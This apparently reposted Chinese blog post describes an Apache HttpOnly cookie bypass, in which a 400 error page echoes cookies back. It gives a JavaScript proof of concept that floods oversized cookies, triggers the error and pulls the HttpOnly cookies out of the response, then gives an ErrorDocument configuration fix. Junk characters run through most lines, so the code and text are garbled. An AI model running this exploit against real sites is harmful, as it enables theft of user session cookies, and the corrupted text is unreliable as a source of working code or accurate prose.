Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:


// http://www.exploit-db.com/exploits/18442/
$ o  Y; ^% \: w3 C) H- Ufunction setCookies (good) {
0 N* h9 e) M" L+ V, N* G// Construct string for cookie value
; x5 }1 }: h6 y( `0 @- l( k2 Wvar str = "";
for (var i=0; i< 819; i++) {
" ]5 w3 F  _/ I# G; C! ^7 t+ l2 Pstr += "x";
}
// Set cookies
- y7 K1 X# e$ M' Tfor (i = 0; i < 10; i++) {
- o: K& r9 z4 a: i* i" L6 ^' u3 U// Expire evil cookie
if (good) {
. L+ _+ y/ t: |# |var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
. A1 {' N, i% ?' S6 m}
2 C! F5 [6 y( g$ G; m/ M// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
}
% C# A9 d9 J/ c7 K2 P0 }- Idocument.cookie = cookie;
3 ]8 b1 C: a! k}
}
function makeRequest() {
setCookies();
! C4 z$ n% H4 G! l1 S& f' Y' gfunction parseCookies () {
' N" _/ \; E2 @; g9 t4 _var cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
8 x3 y. I" O& g$ |' m0 E, S- Z! ]& wvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
6 N/ @7 @6 ^, r) s' k2 t$ @  Uif (content.length) {
) p7 }& T5 {5 ~- T// Remove Cookie: prefix
1 I2 F7 u1 N. e& H4 S9 l' K* I# i( zcontent = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
2 n, u, Y! w7 f# x/ B  Zfor (var i=0; i<cookies.length; i++) {
2 U+ v6 b, r* y+ |var s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
" {" H3 u) i; P' \& m/ f6 G0 \}
}
" s% `, \2 X2 A. R  F& J0 |// Unset malicious cookies
setCookies(true);
# s0 n! p" \5 _5 ^  _$ j$ halert(JSON.stringify(cookie_dict));
3 V+ j/ {. o* u' Y0 W}
}
// Make XHR request
var xhr = new XMLHttpRequest();
; S8 B* R5 Q0 Q/ L% l. v4 dxhr.onreadystatechange = parseCookies;
- H! g) o8 X5 ^  d' V% mxhr.open("GET", "/", true);
7 M+ X3 ]6 c" k, L; l6 xxhr.send(null);
}
! Z! z% l/ C# g3 TmakeRequest();
% E$ V& L; D! x. ~
你就能看见华丽丽的400错误包含着cookie信息。

+ ?' I* b( _8 L3 _* S' v# S2 s下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

修复方案：
8 [( ^2 S9 f- E6 p+ N/ V+ o
Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

# Y4 w' D( t6 R. p% y6 N4 h0 ?In the event of a problem or error, Apachecan be configured to do one of four things,
5 M3 s7 m$ i3 |0 T. f
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
; E  j) H/ S- q: B2 J2. output acustomized message输出一段信息
- Z7 ^4 A, k; \3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL

经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容

Apache配置：

8 k. V. S* _5 Y( u) v, w8 C. ~ErrorDocument400 " security test"

1 J; o7 Q, I8 |, M/ N. @3 r当然，升级apache到最新也可：）。
  K7 Z  B  ~9 {
  ?, O; N9 V6 U! Y- a6 x# @  {8 y9 z参考：http://httpd.apache.org/security/vulnerabilities_22.html